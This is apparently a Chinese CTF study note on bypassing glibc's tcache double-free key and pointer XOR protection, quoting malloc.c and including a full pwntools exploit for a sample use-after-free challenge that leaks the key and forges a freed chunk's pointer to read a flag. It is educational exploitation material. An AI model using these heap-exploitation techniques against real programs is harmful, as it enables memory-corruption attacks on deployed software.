2.34的key异或绕过

2.34引入

当tcachebin中

只有一个堆块的时候,key在堆块的fd位

如果有多个的话,key在tcachebin尾堆块的fd位,因为之前的fd会被加密,因为tcachebin堆指针异或加密

tcache key 校验机制

此处以libc-2.29源码文件malloc.c来进行机制介绍

tcache的分配位于__libc_malloc函数,相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

此处tbytes是请求的chunk大小,tc_idx是对应保存tcache链表数组的索引,申请操作中进行了一个检查:检查目标链表是不是空的,不是空的就分配

tcache的释放位于_int_free函数,相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

先判断e->key是不是tcache,是的话,就进入一个循环,遍历该chunk所在链表所有的chunk判断是否与释放的chunk地址一致,一致则相同

关于e->key为什么会是tcache,在tcache_put函数中有体现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

该版本中,释放的chunk会将tcache写入key字段中,然后就是链表头插节点,数量加一

绕过分析

key校验机制的关键点有2个:校验key值,是否等于tcache结构体地址

  • 不等于的话,就直接正常释放
  • 等于的话,遍历对应大小的链表检查是否存在Double-Free

常规的绕过key机制的方式是修改key字段,常见通过Overflow或者UAF或者泄露来完成

heap_addr=key<<12

绕过方法

泄露

当存在uaf的时候,我们可以直接泄露key,就可以绕过

修改fd位:xor_free_hook=free_hook^key

1
2
3
4
5
6
7
key=u64(p.recv(5).ljust(8,b'\x00'))
li(hex(key))
heap_base=(key<<12)-0x1000
li(hex(heap_base))

flag_xor=flag^key
edit(0,p64(flag_xor-0x10))

例题

flag被读入0x4060,并给出pie_base

add,edit,show,free四个功能函数

2.35版本,uaf

uaf泄露出key之后tcachebin attack 将flag堆块申请出来,show就可以得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.35.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

rl(b'0x')
pie_base=int(p.recv(12),16)-0x1a44
li(hex(pie_base))
flag=pie_base+0x4060
def add(size,content):
rl("5.exit")
sl(str(1))
rl("input size>>")
sl(str(size))
rl("input data>>")
s(content)

def edit(i,content):
rl("5.exit")
sl(str(2))
rl("input index>>")
sl(str(i))
rl("input data>>")
s(content)

def show(i):
rl("5.exit")
sl(str(3))
rl("input index>>")
s(str(i))
def free(i):
rl("5.exit")
sl(str(4))
rl("input index>>")
s(str(i))


add(0x400,b'a')
add(0x400,b'a')
free(1)
show(1)
rl("data>>\n")
key=u64(p.recv(5).ljust(8,b'\x00'))
li(hex(key))
heap_base=(key<<12)-0x1000
li(hex(heap_base))
free(0)
bug()
flag_xor=flag^key
edit(0,p64(flag_xor-0x10))

add(0x400,b'a')
add(0x400,b'a')

show(3)



inter()

House of Karui

【我的 PWN 学习手札】House of Karui —— tcache key 绕过_tcache key怎么找-CSDN博客